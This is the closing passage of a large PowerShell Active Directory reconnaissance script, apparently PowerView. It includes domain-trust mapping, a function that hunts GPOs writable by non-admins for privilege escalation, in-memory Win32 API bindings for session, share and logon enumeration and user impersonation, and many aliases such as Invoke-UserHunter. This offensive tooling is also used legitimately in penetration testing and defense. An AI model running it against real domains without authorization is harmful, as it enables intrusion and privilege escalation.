20051 if ($PSBoundParameters['LDAPFilter']) { $DomainTrustArguments['LDAPFilter'] = $LDAPFilter }
20052 if ($PSBoundParameters['Properties']) { $DomainTrustArguments['Properties'] = $Properties }
20053 if ($PSBoundParameters['SearchBase']) { $DomainTrustArguments['SearchBase'] = $SearchBase }
20054 if ($PSBoundParameters['Server']) { $DomainTrustArguments['Server'] = $Server }
20055 if ($PSBoundParameters['SearchScope']) { $DomainTrustArguments['SearchScope'] = $SearchScope }
20056 if ($PSBoundParameters['ResultPageSize']) { $DomainTrustArguments['ResultPageSize'] = $ResultPageSize }
20057 if ($PSBoundParameters['ServerTimeLimit']) { $DomainTrustArguments['ServerTimeLimit'] = $ServerTimeLimit }
20058 if ($PSBoundParameters['Tombstone']) { $DomainTrustArguments['Tombstone'] = $Tombstone }
20059 if ($PSBoundParameters['Credential']) { $DomainTrustArguments['Credential'] = $Credential }
20060
20061 # get the current domain and push it onto the stack
20062 if ($PSBoundParameters['Credential']) {
20063 $CurrentDomain = (Get-Domain -Credential $Credential).Name
20064 }
20065 else {
20066 $CurrentDomain = (Get-Domain).Name
20067 }
20068 $Domains.Push($CurrentDomain)
20069
20070 while($Domains.Count -ne 0) {
20071
20072 $Domain = $Domains.Pop()
20073
20074 # if we haven't seen this domain before
20075 if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) {
20076
20077 Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'"
20078
20079 # mark it as seen in our list
20080 $Null = $SeenDomains.Add($Domain, '')
20081
20082 try {
20083 # get all the trusts for this domain
20084 $DomainTrustArguments['Domain'] = $Domain
20085 $Trusts = Get-DomainTrust @DomainTrustArguments
20086
20087 if ($Trusts -isnot [System.Array]) {
20088 $Trusts = @($Trusts)
20089 }
20090
20091 # get any forest trusts, if they exist
20092 if ($PsCmdlet.ParameterSetName -eq 'LDAP') {
20093 $ForestTrustArguments = @{}
20094 if ($PSBoundParameters['Forest']) { $ForestTrustArguments['Forest'] = $Forest }
20095 if ($PSBoundParameters['Credential']) { $ForestTrustArguments['Credential'] = $Credential }
20096 $Trusts += Get-ForestTrust @ForestTrustArguments
20097 }
20098
20099 if ($Trusts) {
20100 if ($Trusts -isnot [System.Array]) {
20101 $Trusts = @($Trusts)
20102 }
20103
20104 # enumerate each trust found
20105 ForEach ($Trust in $Trusts) {
20106 if ($Trust.SourceName -and $Trust.TargetName) {
20107 # make sure we process the target
20108 $Null = $Domains.Push($Trust.TargetName)
20109 $Trust
20110 }
20111 }
20112 }
20113 }
20114 catch {
20115 Write-Verbose "[Get-DomainTrustMapping] Error: $_"
20116 }
20117 }
20118 }
20119}
20120
20121
20122function Get-GPODelegation
20123{
20124<#
20125.SYNOPSIS
20126
20127Finds users with write permissions on GPO objects which may allow privilege escalation within the domain.
20128
20129Author: Itamar Mizrahi (@MrAnde7son)
20130License: BSD 3-Clause
20131Required Dependencies: None
20132
20133.PARAMETER GPOName
20134
20135The GPO display name to query for, wildcards accepted.
20136
20137.PARAMETER PageSize
20138
20139Specifies the PageSize to set for the LDAP searcher object.
20140
20141.EXAMPLE
20142
20143Get-GPODelegation
20144
20145Returns all GPO delegations in current forest.
20146
20147.EXAMPLE
20148
20149Get-GPODelegation -GPOName
20150
20151Returns all GPO delegations on a given GPO.
20152#>
20153
20154 [CmdletBinding()]
20155 Param (
20156 [String]
20157 $GPOName = '*',
20158
20159 [ValidateRange(1,10000)]
20160 [Int]
20161 $PageSize = 200
20162 )
20163
20164 $Exclusions = @("SYSTEM","Domain Admins","Enterprise Admins")
20165
20166 $Forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
20167 $DomainList = @($Forest.Domains)
20168 $Domains = $DomainList | foreach { $_.GetDirectoryEntry() }
20169 foreach ($Domain in $Domains) {
20170 $Filter = "(&(objectCategory=groupPolicyContainer)(displayname=$GPOName))"
20171 $Searcher = New-Object System.DirectoryServices.DirectorySearcher
20172 $Searcher.SearchRoot = $Domain
20173 $Searcher.Filter = $Filter
20174 $Searcher.PageSize = $PageSize
20175 $Searcher.SearchScope = "Subtree"
20176 $listGPO = $Searcher.FindAll()
20177 foreach ($gpo in $listGPO){
20178 $ACL = ([ADSI]$gpo.path).ObjectSecurity.Access | ? {$_.ActiveDirectoryRights -match "Write" -and $_.AccessControlType -eq "Allow" -and $Exclusions -notcontains $_.IdentityReference.toString().split("\")[1] -and $_.IdentityReference -ne "CREATOR OWNER"}
20179 if ($ACL -ne $null){
20180 $GpoACL = New-Object psobject
20181 $GpoACL | Add-Member Noteproperty 'ADSPath' $gpo.Properties.adspath
20182 $GpoACL | Add-Member Noteproperty 'GPODisplayName' $gpo.Properties.displayname
20183 $GpoACL | Add-Member Noteproperty 'IdentityReference' $ACL.IdentityReference
20184 $GpoACL | Add-Member Noteproperty 'ActiveDirectoryRights' $ACL.ActiveDirectoryRights
20185 $GpoACL
20186 }
20187 }
20188 }
20189}
20190
20191
20192########################################################
20193#
20194# Expose the Win32API functions and datastructures below
20195# using PSReflect.
20196# Warning: Once these are executed, they are baked in
20197# and can't be changed while the script is running!
20198#
20199########################################################
20200
20201$Mod = New-InMemoryModule -ModuleName Win32
20202
20203# [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPositionalParameters', Scope='Function', Target='psenum')]
20204
20205# used to parse the 'samAccountType' property for users/computers/groups
20206$SamAccountTypeEnum = psenum $Mod PowerView.SamAccountTypeEnum UInt32 @{
20207 DOMAIN_OBJECT = '0x00000000'
20208 GROUP_OBJECT = '0x10000000'
20209 NON_SECURITY_GROUP_OBJECT = '0x10000001'
20210 ALIAS_OBJECT = '0x20000000'
20211 NON_SECURITY_ALIAS_OBJECT = '0x20000001'
20212 USER_OBJECT = '0x30000000'
20213 MACHINE_ACCOUNT = '0x30000001'
20214 TRUST_ACCOUNT = '0x30000002'
20215 APP_BASIC_GROUP = '0x40000000'
20216 APP_QUERY_GROUP = '0x40000001'
20217 ACCOUNT_TYPE_MAX = '0x7fffffff'
20218}
20219
20220# used to parse the 'grouptype' property for groups
20221$GroupTypeEnum = psenum $Mod PowerView.GroupTypeEnum UInt32 @{
20222 CREATED_BY_SYSTEM = '0x00000001'
20223 GLOBAL_SCOPE = '0x00000002'
20224 DOMAIN_LOCAL_SCOPE = '0x00000004'
20225 UNIVERSAL_SCOPE = '0x00000008'
20226 APP_BASIC = '0x00000010'
20227 APP_QUERY = '0x00000020'
20228 SECURITY = '0x80000000'
20229} -Bitfield
20230
20231# used to parse the 'userAccountControl' property for users/groups
20232$UACEnum = psenum $Mod PowerView.UACEnum UInt32 @{
20233 SCRIPT = 1
20234 ACCOUNTDISABLE = 2
20235 HOMEDIR_REQUIRED = 8
20236 LOCKOUT = 16
20237 PASSWD_NOTREQD = 32
20238 PASSWD_CANT_CHANGE = 64
20239 ENCRYPTED_TEXT_PWD_ALLOWED = 128
20240 TEMP_DUPLICATE_ACCOUNT = 256
20241 NORMAL_ACCOUNT = 512
20242 INTERDOMAIN_TRUST_ACCOUNT = 2048
20243 WORKSTATION_TRUST_ACCOUNT = 4096
20244 SERVER_TRUST_ACCOUNT = 8192
20245 DONT_EXPIRE_PASSWORD = 65536
20246 MNS_LOGON_ACCOUNT = 131072
20247 SMARTCARD_REQUIRED = 262144
20248 TRUSTED_FOR_DELEGATION = 524288
20249 NOT_DELEGATED = 1048576
20250 USE_DES_KEY_ONLY = 2097152
20251 DONT_REQ_PREAUTH = 4194304
20252 PASSWORD_EXPIRED = 8388608
20253 TRUSTED_TO_AUTH_FOR_DELEGATION = 16777216
20254 PARTIAL_SECRETS_ACCOUNT = 67108864
20255} -Bitfield
20256
20257# enum used by $WTS_SESSION_INFO_1 below
20258$WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{
20259 Active = 0
20260 Connected = 1
20261 ConnectQuery = 2
20262 Shadow = 3
20263 Disconnected = 4
20264 Idle = 5
20265 Listen = 6
20266 Reset = 7
20267 Down = 8
20268 Init = 9
20269}
20270
20271# the WTSEnumerateSessionsEx result structure
20272$WTS_SESSION_INFO_1 = struct $Mod PowerView.RDPSessionInfo @{
20273 ExecEnvId = field 0 UInt32
20274 State = field 1 $WTSConnectState
20275 SessionId = field 2 UInt32
20276 pSessionName = field 3 String -MarshalAs @('LPWStr')
20277 pHostName = field 4 String -MarshalAs @('LPWStr')
20278 pUserName = field 5 String -MarshalAs @('LPWStr')
20279 pDomainName = field 6 String -MarshalAs @('LPWStr')
20280 pFarmName = field 7 String -MarshalAs @('LPWStr')
20281}
20282
20283# the particular WTSQuerySessionInformation result structure
20284$WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{
20285 AddressFamily = field 0 UInt32
20286 Address = field 1 Byte[] -MarshalAs @('ByValArray', 20)
20287}
20288
20289# the NetShareEnum result structure
20290$SHARE_INFO_1 = struct $Mod PowerView.ShareInfo @{
20291 Name = field 0 String -MarshalAs @('LPWStr')
20292 Type = field 1 UInt32
20293 Remark = field 2 String -MarshalAs @('LPWStr')
20294}
20295
20296# the NetWkstaUserEnum result structure
20297$WKSTA_USER_INFO_1 = struct $Mod PowerView.LoggedOnUserInfo @{
20298 UserName = field 0 String -MarshalAs @('LPWStr')
20299 LogonDomain = field 1 String -MarshalAs @('LPWStr')
20300 AuthDomains = field 2 String -MarshalAs @('LPWStr')
20301 LogonServer = field 3 String -MarshalAs @('LPWStr')
20302}
20303
20304# the NetSessionEnum result structure
20305$SESSION_INFO_10 = struct $Mod PowerView.SessionInfo @{
20306 CName = field 0 String -MarshalAs @('LPWStr')
20307 UserName = field 1 String -MarshalAs @('LPWStr')
20308 Time = field 2 UInt32
20309 IdleTime = field 3 UInt32
20310}
20311
20312# enum used by $LOCALGROUP_MEMBERS_INFO_2 below
20313$SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{
20314 SidTypeUser = 1
20315 SidTypeGroup = 2
20316 SidTypeDomain = 3
20317 SidTypeAlias = 4
20318 SidTypeWellKnownGroup = 5
20319 SidTypeDeletedAccount = 6
20320 SidTypeInvalid = 7
20321 SidTypeUnknown = 8
20322 SidTypeComputer = 9
20323}
20324
20325# the NetLocalGroupEnum result structure
20326$LOCALGROUP_INFO_1 = struct $Mod LOCALGROUP_INFO_1 @{
20327 lgrpi1_name = field 0 String -MarshalAs @('LPWStr')
20328 lgrpi1_comment = field 1 String -MarshalAs @('LPWStr')
20329}
20330
20331# the NetLocalGroupGetMembers result structure
20332$LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{
20333 lgrmi2_sid = field 0 IntPtr
20334 lgrmi2_sidusage = field 1 $SID_NAME_USE
20335 lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr')
20336}
20337
20338# enums used in DS_DOMAIN_TRUSTS
20339$DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{
20340 IN_FOREST = 1
20341 DIRECT_OUTBOUND = 2
20342 TREE_ROOT = 4
20343 PRIMARY = 8
20344 NATIVE_MODE = 16
20345 DIRECT_INBOUND = 32
20346} -Bitfield
20347$DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{
20348 DOWNLEVEL = 1
20349 UPLEVEL = 2
20350 MIT = 3
20351 DCE = 4
20352}
20353$DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{
20354 NON_TRANSITIVE = 1
20355 UPLEVEL_ONLY = 2
20356 FILTER_SIDS = 4
20357 FOREST_TRANSITIVE = 8
20358 CROSS_ORGANIZATION = 16
20359 WITHIN_FOREST = 32
20360 TREAT_AS_EXTERNAL = 64
20361}
20362
20363# the DsEnumerateDomainTrusts result structure
20364$DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{
20365 NetbiosDomainName = field 0 String -MarshalAs @('LPWStr')
20366 DnsDomainName = field 1 String -MarshalAs @('LPWStr')
20367 Flags = field 2 $DsDomainFlag
20368 ParentIndex = field 3 UInt32
20369 TrustType = field 4 $DsDomainTrustType
20370 TrustAttributes = field 5 $DsDomainTrustAttributes
20371 DomainSid = field 6 IntPtr
20372 DomainGuid = field 7 Guid
20373}
20374
20375# used by WNetAddConnection2W
20376$NETRESOURCEW = struct $Mod NETRESOURCEW @{
20377 dwScope = field 0 UInt32
20378 dwType = field 1 UInt32
20379 dwDisplayType = field 2 UInt32
20380 dwUsage = field 3 UInt32
20381 lpLocalName = field 4 String -MarshalAs @('LPWStr')
20382 lpRemoteName = field 5 String -MarshalAs @('LPWStr')
20383 lpComment = field 6 String -MarshalAs @('LPWStr')
20384 lpProvider = field 7 String -MarshalAs @('LPWStr')
20385}
20386
20387# all of the Win32 API functions we need
20388$FunctionDefinitions = @(
20389 (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
20390 (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
20391 (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
20392 (func netapi32 NetLocalGroupEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
20393 (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
20394 (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())),
20395 (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())),
20396 (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])),
20397 (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError),
20398 (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError),
20399 (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])),
20400 (func advapi32 LogonUser ([Bool]) @([String], [String], [String], [UInt32], [UInt32], [IntPtr].MakeByRefType()) -SetLastError),
20401 (func advapi32 ImpersonateLoggedOnUser ([Bool]) @([IntPtr]) -SetLastError),
20402 (func advapi32 RevertToSelf ([Bool]) @() -SetLastError),
20403 (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])),
20404 (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
20405 (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
20406 (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])),
20407 (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])),
20408 (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])),
20409 (func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])),
20410 (func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])),
20411 (func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError)
20412)
20413
20414$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
20415$Netapi32 = $Types['netapi32']
20416$Advapi32 = $Types['advapi32']
20417$Wtsapi32 = $Types['wtsapi32']
20418$Mpr = $Types['Mpr']
20419$Kernel32 = $Types['kernel32']
20420
20421Set-Alias Get-IPAddress Resolve-IPAddress
20422Set-Alias Convert-NameToSid ConvertTo-SID
20423Set-Alias Convert-SidToName ConvertFrom-SID
20424Set-Alias Request-SPNTicket Get-DomainSPNTicket
20425Set-Alias Get-DNSZone Get-DomainDNSZone
20426Set-Alias Get-DNSRecord Get-DomainDNSRecord
20427Set-Alias Get-NetDomain Get-Domain
20428Set-Alias Get-NetDomainController Get-DomainController
20429Set-Alias Get-NetForest Get-Forest
20430Set-Alias Get-NetForestDomain Get-ForestDomain
20431Set-Alias Get-NetForestCatalog Get-ForestGlobalCatalog
20432Set-Alias Get-NetUser Get-DomainUser
20433Set-Alias Get-UserEvent Get-DomainUserEvent
20434Set-Alias Get-NetComputer Get-DomainComputer
20435Set-Alias Get-ADObject Get-DomainObject
20436Set-Alias Set-ADObject Set-DomainObject
20437Set-Alias Get-ObjectAcl Get-DomainObjectAcl
20438Set-Alias Add-ObjectAcl Add-DomainObjectAcl
20439Set-Alias Invoke-ACLScanner Find-InterestingDomainAcl
20440Set-Alias Get-GUIDMap Get-DomainGUIDMap
20441Set-Alias Get-NetOU Get-DomainOU
20442Set-Alias Get-NetSite Get-DomainSite
20443Set-Alias Get-NetSubnet Get-DomainSubnet
20444Set-Alias Get-NetGroup Get-DomainGroup
20445Set-Alias Find-ManagedSecurityGroups Get-DomainManagedSecurityGroup
20446Set-Alias Get-NetGroupMember Get-DomainGroupMember
20447Set-Alias Get-NetFileServer Get-DomainFileServer
20448Set-Alias Get-DFSshare Get-DomainDFSShare
20449Set-Alias Get-NetGPO Get-DomainGPO
20450Set-Alias Get-NetGPOGroup Get-DomainGPOLocalGroup
20451Set-Alias Find-GPOLocation Get-DomainGPOUserLocalGroupMapping
20452Set-Alias Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupMappin
20453Set-Alias Get-LoggedOnLocal Get-RegLoggedOn
20454Set-Alias Invoke-CheckLocalAdminAccess Test-AdminAccess
20455Set-Alias Get-SiteName Get-NetComputerSiteName
20456Set-Alias Get-Proxy Get-WMIRegProxy
20457Set-Alias Get-LastLoggedOn Get-WMIRegLastLoggedOn
20458Set-Alias Get-CachedRDPConnection Get-WMIRegCachedRDPConnection
20459Set-Alias Get-RegistryMountedDrive Get-WMIRegMountedDrive
20460Set-Alias Get-NetProcess Get-WMIProcess
20461Set-Alias Invoke-ThreadedFunction New-ThreadedFunction
20462Set-Alias Invoke-UserHunter Find-DomainUserLocation
20463Set-Alias Invoke-ProcessHunter Find-DomainProcess
20464Set-Alias Invoke-EventHunter Find-DomainUserEvent
20465Set-Alias Invoke-ShareFinder Find-DomainShare
20466Set-Alias Invoke-FileFinder Find-InterestingDomainShareFile
20467Set-Alias Invoke-EnumerateLocalAdmin Find-DomainLocalGroupMember
20468Set-Alias Get-NetDomainTrust Get-DomainTrust
20469Set-Alias Get-NetForestTrust Get-ForestTrust
20470Set-Alias Find-ForeignUser Get-DomainForeignUser
20471Set-Alias Find-ForeignGroup Get-DomainForeignGroupMember
20472Set-Alias Invoke-MapDomainTrust Get-DomainTrustMapping
20473Set-Alias Get-DomainPolicy Get-DomainPolicyData